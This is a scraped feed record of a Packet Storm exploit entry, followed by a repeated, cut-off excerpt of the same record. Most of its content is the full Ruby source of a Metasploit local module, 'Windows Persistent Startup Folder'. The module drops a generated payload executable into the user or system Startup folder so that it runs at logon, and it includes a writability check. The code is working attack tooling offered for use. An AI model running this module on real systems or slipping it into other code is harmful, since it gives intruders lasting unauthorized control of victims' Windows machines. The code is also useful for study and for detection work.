{“lastseen”:”2025-10-29T16:37:48″,”description”:”This………………”,”published”:”2025-10-29T00:00:00″,”modified”:”2025-10-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Windows Persistent Startup Folder”,”source”:””,”references”:””,”id”:”PACKETSTORM:211004″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n include Msf::Post::File\\n include Msf::Exploit::EXE\\n include Msf::Exploit::Local::Persistence\\n prepend Msf::Exploit::Remote::AutoCheck\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Windows Persistent Startup Folder’,\\n ‘Description’ =\\u003e %q{\\n This module establishes persistence by creating a payload in the user or system startup folder.\\n Works on Vista and newer systems.\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [ ‘h00die’ ],\\n ‘Platform’ =\\u003e [ ‘win’ ],\\n ‘SessionTypes’ =\\u003e [ ‘meterpreter’, ‘shell’ ],\\n ‘Targets’ =\\u003e [\\n [ ‘Automatic’, {} ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘References’ =\\u003e [\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],\\n [‘URL’, ‘https:\/\/support.microsoft.com\/en-us\/windows\/configure-startup-applications-in-windows-115a420a-0bff-4a6f-90e0-1934c844e473’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘1995-01-01’, # windows 95\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK]\\n }\\n )\\n )\\n \\n register_options(\\n [\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of payload file to write. Random string as default.’]),\\n OptEnum.new(‘CONTEXT’, [false, ‘Target current User or All Users (system)’, ‘USER’, [‘USER’, ‘SYSTEM’] ])\\n ]\\n )\\n end\\n \\n def folder\\n if datastore[‘CONTEXT’] == ‘USER’\\n f = session.sys.config.getenv(‘%userprofile%’)\\n f = \\”#{f}\\\\\\\\AppData\\\\\\\\Roaming\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\Startup\\”\\n return f\\n end\\n f = session.sys.config.getenv(‘%ProgramData%’)\\n \\”#{f}\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Start Menu\\\\\\\\Programs\\\\\\\\Startup\\”\\n end\\n \\n def check\\n f = folder\\n begin\\n # windows only ps payloads have writable? so try that first\\n return CheckCode::Safe(\\”Unable to write to #{f}\\”) unless writable?(f)\\n rescue RuntimeError\\n filename = f + ‘\\\\\\\\’ + Rex::Text.rand_text_alpha((rand(6..13)))\\n write_file(filename, ”)\\n if exists? filename\\n rm_f(filename)\\n return CheckCode::Appears(\\”Likely exploitable, able to write test file to #{f}\\”)\\n else\\n return CheckCode::Safe(\\”Unable to write to #{f}\\”)\\n end\\n end\\n \\n CheckCode::Appears(‘Likely exploitable’)\\n end\\n \\n def install_persistence\\n payload_name = datastore[‘PAYLOAD_NAME’] || Rex::Text.rand_text_alpha((rand(6..13)))\\n payload_exe = generate_payload_exe\\n payload_pathname = folder + ‘\\\\\\\\’ + payload_name + ‘.exe’\\n vprint_good(\\”Writing payload to #{payload_pathname}\\”)\\n fail_with(Failure::UnexpectedReply, \\”Error writing payload to: #{payload_pathname}\\”) unless write_file(payload_pathname, payload_exe)\\n vprint_status(\\”Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo[‘Computer’]} to #{payload_pathname}\\”)\\n @clean_up_rc \\u003c\\u003c \\”rm \\\\\\”#{payload_pathname.gsub(‘\\\\\\\\’, ‘\/’)}\\\\\\”\\\\n\\”\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/211004″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/211004\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-10-29T16:37:48″,”description”:”This………………”,”published”:”2025-10-29T00:00:00″,”modified”:”2025-10-29T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Windows Persistent Startup Folder”,”source”:””,”references”:””,”id”:”PACKETSTORM:211004″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n \\n…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-23922","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n